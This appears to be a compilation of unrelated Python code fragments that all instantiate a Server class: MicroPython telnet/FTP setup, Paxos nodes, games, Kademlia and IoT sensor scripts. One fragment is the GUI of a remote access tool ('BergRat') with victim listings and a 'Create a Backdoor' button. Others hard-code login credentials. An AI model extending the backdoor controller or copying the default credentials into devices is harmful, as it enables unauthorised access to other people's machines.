def setup_ap(): WLAN().init(mode=WLAN.AP, ssid=coda_common.CODA_CONFIG["wifi_manager_ssid"], auth=( WLAN.WPA2, coda_common.CODA_CONFIG["wifi_manager_pwd"], ), channel=7, antenna=WLAN.INT_ANT) Server().deinit() Server().init(login=(coda_common.CODA_CONFIG["server_userid"], coda_common.CODA_CONFIG["server_pwd"]), timeout=60)
def __init__(self, uid, addr, port): threading.Thread.__init__(self) self.address = addr self.port = port self.server = Server(self, port, address=addr) self.queue = queue.Queue() self.abort = False self.uid = uid self.next_post = None # local log of the Node self.log = [] self.proposer = Proposer(self, uid, addr, port + 1) self.acceptor = Acceptor(self, uid, addr, port + 2) self.learner = Learner(self, uid, addr, port + 3) self.stopped_proposal_id = None self.lock = threading.Lock() self.last_decided_proposer_id = None self.is_last_decided = False self.in_propose_time_frame = True self.daemon = Node.Daemon(self)
def test_play_match(self): server = Server() server.start(False) client1 = Client('localhost', 8081) client2 = Client('localhost', 8081) client1_moves = [(1, 1), (2, 2), (3, 3)] client2_moves = [(3, 1), (3, 2)] client1.on_move_required = lambda ct: (client1_moves if ct else client2_moves).pop(0) client1.on_game_over = lambda winner: self.assertTrue(winner) client2.on_move_required = lambda ct: (client1_moves if ct else client2_moves).pop(0) client2.on_game_over = lambda winner: self.assertTrue(winner) client1.start(False) client2.start(False) client1.wait() client2.wait() server.stop()
def destroy(self): self.socket.close() if self.is_telnet_running is True: from network import Server Server().init( login=telnet_login ) # telnet_login is appended to the code at upload time
def __init__(self, uid, addr, port): self.messenger = Messenger(self) self.server = Server(self, port, address=addr) self.uid = uid self.promised_id = ProposalID(-1, -1) self.accepted_id = ProposalID(-1, -1) self.accepted_value = None
def main(): """Entry point for our simple vlc player """ app = QtWidgets.QApplication(sys.argv) player = Player() _ = Server("localhost", 10000, player.data_queue) player.show() player.resize(640, 480)
def __init__(self, owner, uid, addr, port): self.messenger = Messenger(self) self.server = Server(self, port, address=addr) self.owner = owner self.uid = uid self.quorum_size = 3 self.proposals = None # maps proposal_id => [accept_count, retain_count, value] self.acceptors = None # maps from_uid => last_accepted_proposal_id self.final_value = None self.final_proposal_id = None
def __init__(self, uid, addr, port): self.messenger = Messenger(self) self.server = Server(self, port, address=addr) self.uid = uid self.proposer_uid = uid self.quorum_size = 3 self.proposed_value = None self.proposal_id = None self.last_accepted_id = (-1, -1) self.next_proposal_number = 1 self.promises_rcvd = None
def change_access(self, user=None, passwrd=None): """change_access - change password for telnet and ftp access""" if (user is None) or (passwrd is None): print('WifiManager:: username and password must be specified') return server = Server() # from network # disable the server server.deinit() # enable the server again with new credentials # for ftp and telnet, not USB server.init(login=(user, passwrd), timeout=600) print_debug('WifiManager::password {} is changed...'.format(user))
def __init__(self, master, address, port, *args, **kwargs): # Pass the arguments to the superclass tk.Frame.__init__(self, master, *args, **kwargs) self.master = master # Some GUI Configurations self.master.resizable(False, False) self.master.title("BergRat") self.master.geometry("650x650") # Create a TreeView and add som columns self.tree = ttk.Treeview(self) self.tree["columns"] = ("one", "two", "three", "four") self.tree.heading("#0", text="ID", anchor="w") self.tree.column("#0", stretch=tk.YES, width=100, anchor="w") self.tree.column("one", width=100) self.tree.heading("one", text="IP") self.tree.column("two", width=100) self.tree.heading("two", text="User") self.tree.column("three", width=100) self.tree.heading("three", text="Online") self.tree.column("four", width=100) self.tree.heading("four", text="Install Date") # Create Ba button to create a Backdoor self.button = tk.Button(self, text="Create a Backdoor", command=self.create_backdoor) # Pack all the objects self.tree.pack(fill="both", expand=True) self.button.pack() # Bind the double-click in a element from TreeView self.tree.bind("<Double-1>", lambda event: self.double_click_tree()) # After all widgets being packed, the master is show self.master.deiconify() # Start the network class self.Network = Server(address, port) # Start a Get-Sessions Thread t_get_sessions = Thread(target=self.get_sessions) t_get_sessions.daemon = True t_get_sessions.start()
def __init__(self): from network import Server import socket server = Server() self.is_telnet_running = server.isrunning() server.deinit() self.poll = select.poll() listening = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listening.bind(('', 23)) listening.listen(1) self.socket = listening.accept()[0] listening.close() self.poll.register(self.socket, select.POLLIN) self.socket.setblocking(False) self.write = self.socket.write
def change_access(self, user=None, passwrd=None): """change_access - change password for telnet and ftp access""" if (user == None) or (passwrd == None): print('WifiManager:: username and password must be specified') return server = Server() # from network # disable the server server.deinit() # enable the server again with new credentials # for example: remote access, ftp and telnet, not USB server.init(login=(user, passwrd), timeout=600) if USE_DEBUG: print('WifiManager::password is changed...')
def __init__(self, controller=None): Service.__init__(self, 'dispatcher') self.handlers[Message.TYPE_LOGIN] = self.handle_login self.handlers[Message.TYPE_IMAGE] = self.handle_image self.handlers[Message.TYPE_RESULT] = self.handle_result self.server = Server(self, cfg.SERVER_PORT) self.protocols = {} self.nodes = {} if cfg.DASHBOARD: self.dashboard = Dashboard() self.dashboard.start() else: self.dashboard = None measure_period = float(cfg.CONTROLLER_LOOP_TIME)/cfg.MEASURES_PER_LOOP self.monitor = Monitor(self.process_measurements, measure_period) self.monitor.register_item(self.ITEM_FPS, Monitor.ITEM_RATE) self.monitor.register_item(self.ITEM_MAKESPAN, Monitor.ITEM_AVG) self.monitor.register_item(self.ITEM_THROUGHPUT, Monitor.ITEM_RATE) self.controller = controller self.controller.dashboard = self.dashboard self.controller.dispatcher = self if self.dashboard: self.dashboard.controller = controller self.imagebuf = Queue.Queue() # Buffer of encoded images # (time stamp, image data) # Initialize probe to blank image self.probe_image = self.generate_probe_image() self.tokens = Queue.Queue() self.job_id = 0 self.job_image_cache = {} self.sub_loop = 0 return
def main(stdscr): finished = False gui = CursesInterface(stdscr) inpt = Input(stdscr, 0) menu = MenuScreen() game = Game() gui.initialize() inpt.initialize() while not menu.finished: events = inpt.poll_events() gui.clear() menu.update(events) render_menu(gui, menu) gui.refresh() time.sleep(0.1) if menu.current_idx == 0: gamewrapper = LocalVsGameWrapper(inpt, game) elif menu.current_idx == 1: gamewrapper = LocalAiGameWrapper(inpt, game) elif menu.current_idx == 2: gamewrapper = NetworkedGameWrapper(inpt, game, Server(), 1, 2) else: gamewrapper = NetworkedGameWrapper(inpt, game, Client(menu.get_server_ip_str()), 2, 1) gamewrapper.initialize() while not game.finished: gamewrapper.update() gui.clear() render_game(gui, game) time.sleep(0.05) gamewrapper.cleanup() while True: events = inpt.poll_events() if events: return time.sleep(0.1)
def run(self): server = Server(self.port) server.start() while not self.stopped: requests = server.get_requests() for r in requests: nums = r.split(',') self.connected = True if len(nums) == 2: self.connected = True self.depth_queue.append(int(nums[0])) self.angle = int(nums[1]) response = "{},{},{},{},{}\n".format( self.convert(-self.m_front_left), self.convert(-self.m_front_right), self.convert(-self.m_back_left), self.convert(-self.m_back_right), self.convert(self.m_tail)) response = response.encode('utf-8') server.offer_data(r, response) break server.stop()
def run(ip, port): """ handler = logging.StreamHandler() formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') handler.setFormatter(formatter) log = logging.getLogger('kademlia') log.addHandler(handler) log.setLevel(logging.DEBUG) """ loop = asyncio.get_event_loop() loop.set_debug(True) server = Server(storage=storage.AwesomeStorage()) loop.run_until_complete(server.listen(int(port), ip)) try: loop.run_forever() except KeyboardInterrupt: pass finally: server.stop() loop.close()
if len(sys.argv) != 4: print("Usage: python get.py <bootstrap node> <bootstrap port> <key>") sys.exit(1) # set up logging to file logging.basicConfig( level=logging.DEBUG, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%m-%d %H:%M', filemode='w') # define a Handler which writes INFO messages or higher to the sys.stderr console = logging.StreamHandler() console.setLevel(logging.INFO) # add the handler to the root logger logging.getLogger(__name__).addHandler(console) loop = asyncio.get_event_loop() loop.set_debug(True) server = Server() loop.run_until_complete(server.listen(8469)) bootstrap_node = (sys.argv[1], int(sys.argv[2])) loop.run_until_complete(server.bootstrap([bootstrap_node])) result = loop.run_until_complete(server.get(sys.argv[3])) server.stop() loop.close() print("Get result:", pickle.loads(result))
return True def end_network(): if not lte == None: end_LTE() if not wlan == None: end_WLAN() try: ensure_network() set_RTC() if (not wlan == None): debugprint('Starting ftp server') server = Server(login=(config.ftpuser, config.ftppassword), timeout=60) last_measurement = -MEASURE_INTERVAL - 1 while (True): led_Breathe() now = time.time() if (last_measurement + MEASURE_INTERVAL < now): coord = l76.position() pitch = acc.pitch() roll = acc.roll() last_measurement = now # if not coord[0] == None: ensure_network() now = machine.RTC().now() isodatetime = "{}-{:02d}-{:02d}T{:02d}:{:02d}:{:02d}+00:00".format( now[0], now[1], now[2], now[3], now[4], now[5], now[6]) volt = py.read_battery_voltage()
import config import time from network import WLAN from network import Server # Conexion a la WiFi wlan = WLAN(mode=WLAN.STA) # Modo adaptador wifi wlan.connect( config.wifi_ssid, auth=(None, config.wifi_pass)) # Orden y parámetros de conexión a la red wifi if config.REPL: while not wlan.isconnected(): print('No conectado a WiFi') time.sleep(5) if wlan.isconnected(): print('Conectado a WiFi: ' + config.wifi_ssid) # Servicio telnet server = Server(login=(config.user, config.password), timeout=60) server.timeout(300) # change the timeout
def __init__(self, parent=None): QObject.__init__(self, parent) self.server = Server(self.WEBCHAT_SERVER_PORT) self.dispatcher = WebchatDispatcher(self.server) self.server.setDispatcher(self.dispatcher)
import sys import logging import asyncio import storage from network import Server # Usage: <python3> <node_ip> <node_port> <bootstrap_node_ip> <bootstrap_node_port> loop = asyncio.get_event_loop() loop.set_debug(True) server = Server(storage=storage.AwesomeStorage()) loop.run_until_complete(server.listen(int(sys.argv[2]), sys.argv[1])) bootstrap_node = (sys.argv[3], int(sys.argv[4])) loop.run_until_complete(server.bootstrap([bootstrap_node])) try: loop.run_forever() except KeyboardInterrupt: pass finally: server.stop() loop.close()
node_id = 0 for server in servers: if str(account) == str(server.node.pub_key.to_string()): node_id = server.node.node_id print("Node {} has a balance of {} Coins".format( node_id, accounts[account])) print("=====================================================") if __name__ == '__main__': listOfConfigs = ['node1.txt', 'node2.txt', 'node3.txt', 'node4.txt', \ 'node5.txt', 'node6.txt', 'node7.txt', 'node8.txt', 'node9.txt', 'node10.txt'] servers = [] for conf in listOfConfigs: node = Node(conf) server = Server(node) servers.append(server) server.start() for i in range(2): time.sleep(5) randomIndex = random.randint(0, len(servers) - 1) createRewardTransaction(servers[randomIndex].node) randomIndex = random.randint(0, len(servers) - 1) servers[randomIndex].node.sendBlock() time.sleep(12) print( "Blockchain Summaries\n=====================================================" ) for server in servers: node = server.node
def setup(): global wdt, sd, logger, AP, pin_relay_AP, pin_relay_LED, pin_switch_setupMode, pin_switch_RPi, wdt global server, server_timer, adc_c, taskTime_daily, taskTime_hourly # Logger logging.basicConfig(level=logging.DEBUG) logger = logging.getLogger(__name__) logger.info('===========================') logger.info(' Starting CTLR ') logger.info('===========================') # HW Setup wdt = WDT(timeout=20 * 60 * 1000) wdt.feed() sd = SD() os.mount(sd, '/sd') adc = machine.ADC() # adc_c = adc.channel(pin='P19', attn=ADC.ATTN_11DB) adc_c = adc.channel(pin='P18', attn=ADC.ATTN_11DB) # Output Vref of P22 # adc.vref_to_pin('P22') # while True: # time.sleep(1) # Set calibration - see note above adc.vref(1100) # # TEMPERATURE/HUMIDITY SENSOR # py = Pysense() # si7006a20 = SI7006A20(py) pin_relay_AP = Pin('P20', mode=Pin.OUT, pull=Pin.PULL_DOWN) pin_relay_LED = Pin('P19', mode=Pin.OUT, pull=Pin.PULL_DOWN) pin_switch_setupMode = Pin('P9', mode=Pin.IN, pull=Pin.PULL_DOWN) pin_switch_RPi = Pin('P7', mode=Pin.OUT, pull=Pin.PULL_DOWN) # Network Setup # CHANGE AP IN pybytes_config.json! pbconfig = pybytes.get_config() AP = pbconfig['wifi']['ssid'] # WIFI Connection if AP in ['GCAM1_AP', 'GCAM2_AP', 'GCAM2_AP']: pin_relay_AP.value(1) wlan = WLAN(mode=WLAN.STA) while not wlan.isconnected(): nets = wlan.scan() logger.info(nets) if AP in [net.ssid for net in nets]: pybytes.connect_wifi() time.sleep(5) # for net in nets: # if net.ssid == 'RUT230_7714': # pybytes.connect_wifi() # # No Internet Case # wlan.ifconfig(config=('192.168.1.100', '255.255.255.0', '192.168.1.1', '8.8.8.8')) # wlan.connect('RUT230_7714', auth=(WLAN.WPA2, 'Ei09UrDg'), timeout=5000) # while not wlan.isconnected(): # machine.idle() # save power while waiting socket_svr.switch_setupMode = pin_switch_setupMode.value() socket_svr.setup() # _thread.stack_size(16384) # UPDATE TIME BY GPS logger.info('GPS time fixing start...') shmGPSclock.update_RTC_from_GPS() socket_svr.state = 1 logger.info('GPS time fixing done...') server = Server() server.timeout(5) # Creating data/date folder of today dirToday = '/sd/data/{}'.format(date_string(time.time())) if mkdir(dirToday): logger.info('{} created'.format(dirToday)) gc.enable() # CREATING FOLDER FOR FTP mkdir('/sd/data/{}'.format(date_string(time.time()))) # PERIODIC TASKS taskTime_daily = getNextGridTime(time.time(), 3600 * 24) taskTime_hourly = getNextGridTime(time.time(), 3600)
help='Port to listen to' ) parser.add_argument( '-v', '--verbose', action='store_true', help='Be verbose' ) args = parser.parse_args() logging.basicConfig(level=logging.DEBUG if args.verbose else logging.INFO) server = Server( args.field_size, args.row_length, args.host, args.port ) def signal_handler(sig, frame): server.stop() signal.signal(signal.SIGINT, signal_handler) server.start()
def __init__(self, parent=None): QObject.__init__(self, parent) self.server = Server(self.EXTERNAL_SERVER_PORT) self.dispatcher = ExternalDispatcher(self.server) self.server.setDispatcher(self.dispatcher)
def start_server(self): self._server = Server(self._config_manager.local_address, self._config_manager.local_port, self._config_manager.server, #info_dict self._config_manager.content_db) self._server.start()
from network import WLAN from network import Server from machine import WDT import pycom import micropython import time micropython.alloc_emergency_exception_buf(100) pycom.heartbeat(False) pycom.rgbled(0xff0000) print('=== Exo Sense Py - LoRaWAN - v1.4.0 ===') wdt = WDT(timeout=30000) wlan = WLAN() wlan.deinit() ftp = Server() ftp.deinit() time.sleep(1)
def restart_server(alarm): server.deinit() server = Server(login=('micro', 'python'), timeout=60) logger.info('Server restarted.') return
pygame.init() # Set the width and height of the screen [width, height] size = (WIDTH, HEIGHT) screen = pygame.display.set_mode(size) pygame.display.set_caption("Configuration Space Visualization Tool") # Loop until the user clicks the close button. done = False # Used to manage how fast the screen updates clock = pygame.time.Clock() data_queue = queue.Queue() _ = Server("localhost", 10000, data_queue) ALPHA = 0 THETA = 0 RADIUS = 30 ORIGIN_X = WIDTH // 2 ORIGIN_Y = HEIGHT // 2 robot = Robot((ORIGIN_X, ORIGIN_Y), RADIUS) # Start the scatterplot process subprocess.Popen(["python", "plot.py"]) # Main game loop while not done: # Main event loop
def destroy(self): self.socket.close() if self.is_telnet_running is True: from network import Server Server().init(login=telnet_login)